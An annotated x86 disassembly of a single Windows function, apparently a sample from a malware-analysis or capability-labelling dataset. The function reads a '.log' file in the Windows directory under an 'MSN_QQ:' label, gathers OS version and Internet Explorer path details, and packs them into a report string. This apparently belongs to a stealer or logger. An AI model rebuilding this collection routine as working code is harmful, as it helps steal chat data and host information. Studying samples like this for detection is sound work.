Function at 0x40afa4
Capabilities:
Get common file path
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x43c3a2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x474
push ebx
push ebp
mov ebp, dword [esp + 0x494]
push esi
push edi
mov edi, ecx
push ebp
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], edi
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [esp + 0x494]
lea esi, [edi + 0x4b0]
push esi
mov dword [esp + 0x490], 0
call fcn.0043a7b6
push str.MSN_QQ:
mov ecx, ebp
call sub.MFC42.DLL_CString::operator_1
lea eax, [edi + 0x4b4]
mov ecx, ebp
push eax
call sub.MFC42.DLL_CString::operator
push 0xa
mov ecx, ebp
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esp + 0x18]
push ecx
mov ecx, ebp
call sub.MFC42.DLL_CString::operator
mov edx, dword [esi]
mov dword [esp + 0x14], 1
mov eax, dword [edx - 8]
test eax, eax
jne 0x40afc1
push 0
push 0xa4
call fcn.004232b0
mov ecx, eax
call fcn.00423b90
push eax
push edi
call fcn.0040eeb0
add esp, 8
lea eax, [esp + 0x240]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x240]
push ecx
lea ecx, [esp + 0x14]
call fcn.0043a78c
push esi
lea edx, [esp + 0x24]
push 0x4500fc
push edx
mov byte [esp + 0x498], 1
call sub.MFC42.DLL_operator_2
push str..log
push eax
lea eax, [esp + 0x24]
mov ebx, 2
push eax
mov byte [esp + 0x498], bl
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x490], 3
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x1c]
mov byte [esp + 0x48c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x48c], 1
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x344]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x40b06c
mov dword [esp + 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x240]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::operator_1
push 0x4500fc
lea ecx, [esp + 0x14]
call fcn.0043a834
lea ecx, [esp + 0x370]
push ecx
lea ecx, [esp + 0x14]
call fcn.0043a834
mov edx, dword [esp + 0x10]
push 0x450428
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x40b146
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40b146
mov ecx, dword [esp + 0x498]
lea eax, [esp + 0x370]
push eax
call sub.MFC42.DLL_CString::operator_1
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push esi
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
add esp, 0x10
cmp eax, 0x19000
jge 0x40b13a
push 0
push 0
push esi
call ebx
add esp, 0xc
add edi, 0x4b8
mov ecx, edi
push 0x19000
call sub.MFC42.DLL_CString::GetBuffer
push esi
mov ebx, eax
push 0x19000
push 1
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov ecx, edi
mov byte [eax + ebx], 0
push 0xffffffffffffffff
call sub.MFC42.DLL_CString::ReleaseBuffer
mov edi, dword [esp + 0x24]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
jmp 0x40b14e
mov dword [esp + 0x14], 0
mov eax, dword [edi + 0x4bc]
test eax, eax
je 0x40b375
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40b375
mov ecx, dword [edi + 0x4b8]
lea ebx, [edi + 0x4b8]
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b375
lea edx, [esp + 0xa0]
mov dword [esp + 0xa0], 0x9c
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_3
mov al, byte [0x451020]
mov ecx, 0x40
mov byte [esp + 0x13c], al
xor eax, eax
lea edi, [esp + 0x13d]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x140]
mov byte [esp + 0x490], 4
push ecx
stosb byte es:[edi], al
call fcn.00403b30
mov edi, str.Internet_ExplorerIEXPLORE.EXE
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x144]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x28]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x148]
push ecx
call fcn.00403930
mov eax, dword [esp + 0x144]
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0xb8]
add esp, 0x10
and eax, 0xffff
push edx
mov edx, dword [esp + 0xa8]
push eax
push ecx
push edx
push 1
push 0xa5
call fcn.004232b0
mov ecx, eax
call fcn.00423b90
push eax
lea eax, [esp + 0x28]
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x18
lea ecx, [esp + 0x14]
push ecx
mov ecx, ebp
call sub.MFC42.DLL_CString::operator
push ebx
lea edx, [esp + 0x20]
push 0xa
push edx
call sub.MFC42.DLL_operator
push eax
mov ecx, ebp
mov byte [esp + 0x490], 5
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x1c]
mov byte [esp + 0x48c], 4
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp]
mov ecx, ebp
mov eax, dword [eax - 8]
dec eax
push eax
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x38]
push 0
push ecx
mov esi, eax
call fcn.00422710
mov edx, dword [ebp]
mov eax, dword [edx - 8]
dec eax
push eax
lea eax, [esp + 0x44]
push esi
push eax
call fcn.00422770
lea ecx, [esp + 0x4c]
push ecx
call fcn.004231b0
mov edx, dword [esp + 0xa8]
mov ecx, dword [esp + 0xb0]
mov esi, dword [esp + 0x4b8]
mov eax, dword [esp + 0xac]
add esp, 0x18
mov dword [esp + 0x28], edx
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x30], ecx
push 0x64
mov ecx, esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], edx
call sub.MFC42.DLL_CString::GetBuffer
push 0x64
push eax
lea eax, [esp + 0x30]
push eax
call fcn.00405070
add esp, 0xc
mov ecx, esi
push 0xffffffffffffffff
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0xffffffffffffffff
mov ecx, ebp
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x14]
mov byte [esp + 0x48c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x48c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x48c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x40b3a8
push 0x451020
mov ecx, ebp
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x48c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x48c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x484]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x480
ret 0x10